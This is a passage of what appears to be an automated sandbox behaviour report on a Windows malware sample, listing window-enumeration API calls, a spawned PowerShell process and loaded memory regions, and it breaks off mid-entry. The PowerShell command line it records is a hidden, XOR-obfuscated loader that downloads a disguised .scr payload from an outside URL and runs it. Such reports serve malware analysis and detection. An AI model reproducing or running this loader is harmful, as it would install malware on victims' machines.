uCmd=0x2) returned 0x800a2 [0183.496] GetClassNameA (in: hWnd=0x800a2, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0183.496] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0183.496] GetWindowThreadProcessId (in: hWnd=0x800a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.496] GetWindow (hWnd=0x800a2, uCmd=0x2) returned 0x2001a [0183.496] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0183.496] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0183.496] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x594 [0183.496] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x20022 [0183.496] GetClassNameA (in: hWnd=0x20022, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.496] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.496] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x594 [0183.496] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x20016 [0183.496] GetClassNameA (in: hWnd=0x20016, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0183.496] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0183.496] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x730 [0183.496] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x20018 [0183.496] GetClassNameA (in: hWnd=0x20018, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.496] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.496] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x730 [0183.496] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x10108 [0183.496] GetClassNameA (in: hWnd=0x10108, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0183.496] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0183.496] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0183.496] GetWindow (hWnd=0x10108, uCmd=0x2) returned 0x10102 [0183.497] GetClassNameA (in: hWnd=0x10102, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0183.497] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0183.497] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0183.497] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fe [0183.497] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0183.497] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0183.497] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0183.497] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0183.497] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0183.497] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0183.497] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.497] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0183.497] GetClassNameA (in: hWnd=0x10084, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0183.497] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0183.497] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x550 [0183.497] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0183.497] GetClassNameA (in: hWnd=0x10082, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0183.497] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0183.497] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.497] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0183.497] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.497] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.497] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.497] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0183.497] GetClassNameA (in: hWnd=0x10068, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.497] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.498] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.498] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x10118 [0183.498] GetClassNameA (in: hWnd=0x10118, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0183.498] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0183.498] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0183.498] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0183.498] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.498] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.498] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0183.498] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x2010a [0183.498] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0183.498] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0183.498] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x614 [0183.498] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x1010e [0183.498] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.498] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.498] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x614 [0183.498] GetWindow (hWnd=0x1010e, uCmd=0x2) returned 0x10064 [0183.498] GetClassNameA (in: hWnd=0x10064, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0183.498] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0183.498] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.498] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0183.498] GetClassNameA (in: hWnd=0x10052, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0183.498] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0183.498] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0183.498] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0183.498] GetClassNameA (in: hWnd=0x10054, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.498] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.498] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 Thread: id = 22 os_tid = 0x9f4 Thread: id = 23 os_tid = 0x9f8 Thread: id = 31 os_tid = 0xa34 Thread: id = 38 os_tid = 0xb84 Thread: id = 158 os_tid = 0x89c Thread: id = 291 os_tid = 0x6ec Process: id = "2" image_name = "powershell.exe" filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x2f22c000" os_pid = "0xa00" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x920" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam($d17d93)\r\n$qfab72a = 'w6788';\r\n$o14135a = '';\r\nfor ($i = 0; $i -lt $d17d93.length; $i+=2) {\r\n$eb44f = [convert]::ToByte($d17d93.Substring($i, 2), 16);\r\n$o14135a += [char]($eb44f -bxor $qfab72a[($i / 2) % $qfab72a.length]);\r\n}\r\nreturn $o14135a;\r\n}\r\n$sf6669 = '02455e565f57654e4b4c125b0c353202455e565f57654e4b4c125b196a4d19425e555d597f594c5d0559476b5d05405e5b5d040d3a324802545b515b57555b594b0416590b0b11550035320c3b3d18185716171818576d7354543e5b47574a031e15535d055852540b45141e65357d16171818571617184802545b515b574543594c1e55175d4003534556183e5843684c0516705d4c2744585b791352455d4b041e7e564c27424518503a59534d54121a174b4c055f595f180744585b76165b5211037a3c17181857161718182c725b54711a46584a4c5f145c5d4a19535b0b0a551f6a35325716171818571617484d155a5e5b180442564c51141652404c12445918711942674c4a577a58595c3b5f554a59054f1f4b4c055f595f1819575a5d114c3b3d18185716171818576d7354543e5b47574a031e15535d055852540b45141e65357d16171818571617184802545b515b574543594c1e55175d4003534556181559585418215f454c4d165a674a570353544c103e5843684c05165b48791352455d4b041a176d711942674c4a5752406b510d531b184d1e5843185e1b78524f680559435d5b031a17574d031642515603165b485e1b795b5c680559435d5b031f0c35325716171818571617637c1b5a7e5548184443101a3c5345565d1b0505165c1b5a1514183258434a4127595e564c570b171a6a035a7a574e127b525557054f15141824534374590442724a4a184417051811575b4b5d5e6b3a321857161718185716444c59035f54185d0f42524a56574058515c577b584e5d3a535a574a0e1e7e564c274245185c12454314183e5843684c0516444a5b5b165e564c57455e425d5e0d3a32357d16171818571617184802545b515b574543594c1e55175156031654010a1102545b105e3b3d18185716171818574d3a321857161718185716171818577f594c68034417555d1350005a5d570b17745716527b515a05574541101902005e0e5f14060e0d1502030d094600060b0d1603551a115e0d3a321857161718185716171818575f5118101a53535e0f1553170505577f594c68034419625d05591e35325716171818571617181857164c35325716171818571617181857161718185744524c4d05581709037a3c171818571617181857161718457a3c3a321857161718185716171818577f594c680344175d5b12555418055771524c68055954795c1344524b4b5f5b525c5e40545214181902005e0e5f14040e0d1502030d094154060c0d40030e0f59435206090d4703050c59551f1e03357d161718185716171818571617515e571e525b5d1455170505577f594c68034419625d05591e35325716171818571617181857164c35325716171818571617181857161718185744524c4d05581709037a3c171818571617181857161718457a3c3a32185716171818571617181857637e564c274245185c00655e425d570b17106d3e5843684c051f0203357d1617181857161718185716174d51194217625d0559170518470d3a321857161718185716171818575f51181056605e4a4c02575b684a1842525b4c5f53545d5b141a175c4f245f4d5d1457064f0c085b16584d4c576c524a575e1f3a321857161718185716171818574d3a32185716171818571617181857161718180553434d4a19160603357d16171818571617181857161745357d1617181857161718185716177a4103536c65182757435b50570b174318474e04091457064f5e5e5b1607400147164a03357d16171818571617181857161771560366434a1802585a59561651525c68185f594c5d05160a187516444450591b1876545418557f7f541854565410441f0c35325716171818571617181857167a594a045e56541634594741102757435b505b1607141802585a59561651525c68185f594c5d051a170b114c3b3d1818571617181857161718183a59415d75125b584a415f58524f183e5843684c051e525b5d1455196c573e58430e0c5f1f171318474e070809151f1b184d195b56565910535368571e58435d4a5b160411037a3c1718185716171818571617184a1242424a5657060c3532571617181857161745357d3f3e484d155a5e5b180442564c511416444c4a1e585018564301510e1004424551561016444c4a3e581e3532571617181857161743357d3f3e314b03445e565f5745010f0e150f1705185541010f004f140c3532571617181857161718185716444c4a1e5850184b1257010e01570b176b4c055f595f16325b474c414c3b3d18185716171818571617181811594518101e58431851570b170803575f1704180442457156597a52565f035e0c1851571d0a180a5e3b3d1818571617181857161718180c3b3d181857161718185716171818571617185a0e42521854440303000d570b177b571940524a4c5962587a4103531f4b4c057f59166b0254444c4a1e585010515b1605111457070111037a3c171818571617181857161718185716174b5d16000101185c0b17105b1f574511101b05020c00421669184b4101015a012c1e5e181757041e181d5745010f0e150f19745d19514350655e0d3a321857161718185716171818574b3a32357d1617181857161718185716174a5d03434556180453560e0e4e0d3a3218571617181857164a35320a';\r\n$sf66692 = n47f6($sf6669);\r\nAdd-Type -TypeDefinition $sf66692;\r\n[n33fc7]::c92f4cc();\r\n\r\nStart-Sleep -s 1;\r\n$y8cf5 = $env:APPDATA;\r\n$t228f7 = $y8cf5 + '\\\\z79473a.exe';\r\nIf (test-path $t228f7) {Remove-Item $t228f7}; \r\n$da2f925 = New-Object System.Net.WebClient; \r\n$da2f925.Headers['User-Agent'] = 'da2f925'; \r\n$da2f925.DownloadFile('http://jadema.com.py/jj/2019 Order File TTYYUGH.scr', $t228f7); \r\nStart-Process -Filepath $t228f7;\r\n" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 509 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 510 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 511 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 512 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 513 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 514 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 515 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 516 start_va = 0x13faa0000 end_va = 0x13fb16fff entry_point = 0x13faa0000 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe") Region: id = 517 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 518 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 519 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 520 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 521 start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 522 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 523 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 524 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 525 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 526 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 527 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x774e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 528 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 529 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 530 start_va = 0x7fef2ea0000 end_va = 0x7fef2f0efff entry_point = 0x7fef2ea0000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 531 start_va = 0x7fefb100000 end_va = 0x7fefb118fff entry_point = 0x7fefb100000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 532 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 533 start_va = 0x7fefdce0000 end_va = 0x7fefdcedfff entry_point = 0x7fefdce0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 534 start_va = 0x7fefdcf0000 end_va = 0x7fefdd60fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 535 start_va = 0x7fefdd70000 end_va = 0x7fefde38fff entry_point = 0x7fefdd70000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 536 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 537 start_va = 0x7fefee70000 end_va = 0x7feff072fff entry_point = 0x7fefee70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 538 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 539 start_va = 0x7feff380000 end_va = 0x7feff456fff entry_point = 0x7feff380000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 540 start_va = 0x7feff540000 end_va = 0x7feff5a6fff entry_point = 0x7feff540000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 541 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 542 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 543 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 544 start_va = 0xe0000 end_va = 0xe2fff entry_point = 0xe0000 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 545 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 546 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 547 start_va = 0x160000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 548 start_va = 0x3f0000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 549 start_va = 0x4f0000 end_va = 0x677fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 550 start_va = 0x680000 end_va = 0x800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 551 start_va = 0x810000 end_va = 0x1c0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 552 start_va = 0x1c10000 end_va = 0x1d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c10000" filename = "" Region: id = 553 start_va = 0x1e00000 end_va = 0x1e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 554 start_va = 0x1ef0000 end_va = 0x1f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 555 start_va = 0x7fefd420000 end_va = 0x7fefd42efff entry_point = 0x7fefd420000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 556 start_va = 0x7fefd970000 end_va = 0x7fefda78fff entry_point = 0x7fefd970000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 557 start_va = 0x7fefebe0000 end_va = 0x7fefec0dfff entry_point = 0x7fefebe0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 558 start_va = 0x7fefbe50000 end_va = 0x7fefbea5fff entry_point = 0x7fefbe50000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 559 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 560 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 561 start_va = 0x1d10000 end_va = 0x1deefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d10000" filename = "" Region: id = 562 start_va = 0x2030000 end_va = 0x20affff entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 563 start_va = 0x7fefde50000 end_va = 0x7fefebd7fff entry_point = 0x7fefde50000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 564 start_va = 0x7feff5b0000 end_va = 0x7feff648fff entry_point = 0x7feff5b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 565 start_va = 0x7fefc8d0000 end_va = 0x7fefc8edfff entry_point = 0x7fefc8d0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 566 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd530000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 567 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 568 start_va = 0x7fefc030000 end_va = 0x7fefc223fff entry_point = 0x7fefc030000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 569 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 570 start_va = 0x150000 end_va = 0x151fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 571 start_va = 0x20b0000 end_va = 0x237efff entry_point = 0x20b0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 572 start_va = 0x2450000 end_va = 0x24cffff entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 573 start_va = 0x7fefbeb0000 end_va = 0x7fefbfdbfff entry_point = 0x7fefbeb0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 574 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 575 start_va = 0x7fefb4a0000 end_va = 0x7fefb4ccfff entry_point = 0x7fefb4a0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 576 start_va = 0x7feff4e0000 end_va = 0x7feff531fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 577 start_va = 0x180000 end_va = 0x19ffff entry_point = 0x180000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000018.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db") Region: id = 578 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 579 start_va = 0x7fefd6c0000 end_va = 0x7fefd6d9fff entry_point = 0x7fefd6c0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 580 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f5fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 581 start_va = 0x7feff650000 end_va = 0x7feff826fff entry_point = 0x7feff650000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 582 start_va = 0x24d0000 end_va = 0x28c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024d0000" filename = "" Region: id = 583 start_va = 0x2940000 end_va = 0x29bffff entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 584 start_va = 0x7fef82e0000 end_va = 0x7fef8313fff entry_point = 0x7fef82e0000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: 